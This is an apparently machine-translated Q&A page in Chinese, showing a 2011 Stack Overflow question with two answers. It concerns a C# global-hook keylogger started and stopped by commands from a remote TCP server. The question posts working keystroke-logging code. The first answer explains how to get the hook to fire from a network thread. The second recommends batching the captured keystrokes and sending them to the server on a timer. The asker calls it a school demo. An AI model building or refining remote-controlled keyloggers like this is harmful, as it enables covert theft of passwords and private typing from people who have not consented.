在Form1中调用时,库可以工作,但不能从其他任何地方调用

时间:2011-07-16 18:03:08

标签: c# windows hook

我有这个图书馆http://www.codeproject.com/KB/cs/globalhook.aspx
我已下载并将其编译为DLL 起初我有一个奇怪的问题,它在我的项目中没有工作,但它(在完全相同的代码中)在演示项目中工作,但它通过应用以下消息所说的固定: http://www.codeproject.com/KB/cs/globalhook.aspx?msg=3505023#xx3505023xx
注意:我正在使用.NET 4,VS 2010 Ultimate
好吧,我有一个文件Form1.cs,这是我的应用程序的主要形式 我还有其他文件:Client.cs,Script.cs,Keylogger.cs - 不,它不是一个邪恶的键盘记录器 - 它是关于安全\防病毒等的学校演示文稿。
Keylogger.cs有一个静态类,这里是代码:

public static class Keylogger
{
    static private StreamWriter sw = null;
    static private System.Timers.Timer t = null;
    static public bool Started = false;
    static public void Start(string Location)
    {
        Started = true;
        sw = new StreamWriter(Location, true, Encoding.Default, 1);
        HookManager.KeyPress += HookManager_KeyPress;
        t = new System.Timers.Timer(3600000);
        t.Elapsed += (object sender, System.Timers.ElapsedEventArgs e) => sw.WriteLine(Environment.NewLine + "1 HOUR PASSED");
        t.Start();
    }
    static public void Stop()
    {
        if (!Started)
            throw new Exception("Keylogger is not operating at the moment.");
        Started = false;
        HookManager.KeyPress -= HookManager_KeyPress;
        t.Dispose();
        sw.Dispose();
    }

    static private void HookManager_KeyPress(object sender, KeyPressEventArgs e)
    {
        if (e.KeyChar == 8)
            sw.Write("{BACKSPACE}");
        else
            sw.Write(e.KeyChar);
    }
}

Client类不是静态的 - 它管理与服务器的TCP连接,并将所有接收的数据发送到Script.RunScript(string scr)(静态方法)。 好吧,Script.RunScript应该为某些输入调用Keylogger.Start(字符串位置)(STARTLOGGING c:\ log.txt)
并调用Keylogger.Stop()进行一些输入(STOPLOGGING)
好吧,一切都很好,它调用Start,但它不起作用。
它完成了整个过程,(定时器,事件,节电器等)但是当我按下某些东西时 - 整个计算机冻结了几秒钟而没有任何事情发生(它甚至没有调用KeyPress) - 它只是第一次发生。任何其他时间 - 它只是忽略了我的按键 有趣的事情 - 如果我从我的主要形式(在ctor,按钮点击事件中)调用Start - 它会工作!没有任何滞后。
我确实尝试过不同的事件(MouseDoubleClick,MouseMove),但都有同样的问题 谢谢,马克!

2 个答案:

答案 0 :(得分:3)

UI再次响应后的延迟是问题根本原因的强烈迹象。您看到Windows自我修复,注意到回调没有响应。它会自动禁用挂钩。

您可能违反的硬性要求是必须从泵送消息循环的线程进行SetWindowsHookEx()调用。因此,Windows可以在按键上打入并调用回调。当您通过单击按钮调用Start()方法时,这可以正常工作,Click事件在您的程序的UI线程上运行。

但是当您通过网络事件进行此调用时,可能。它们倾向于在线程池线程上运行。从您的代码段中不清楚,您没有发布代码。像这样的问题的通用修复是使用Control.BeginInvoke()来编组从工作线程到UI线程的调用。你可以在MSDN库文章中找到它的一个很好的描述,以及stackoverflow.com上的很多很多答案

Fwiw,由于CLR的.NET 4版本中的行为发生了变化,原始代码被破坏了。它不再伪造组件的本机模块。解决方法足够好,它只需要一个有效的模块句柄。实际的并不重要,因为这不是一个全局的钩子。

答案 1 :(得分:0)

我认为你最好的选择是不要在UI事件上写入网络,而是让你的记录器写入本地文件或内存数据库或类似文件,然后有一个定时写入该消息内容的计时器到服务器。这样你就可以向服务器发送更大的消息(提高两台机器的性能),并且能够在后台线程上运行网络调用,这使得UI感觉更加快捷。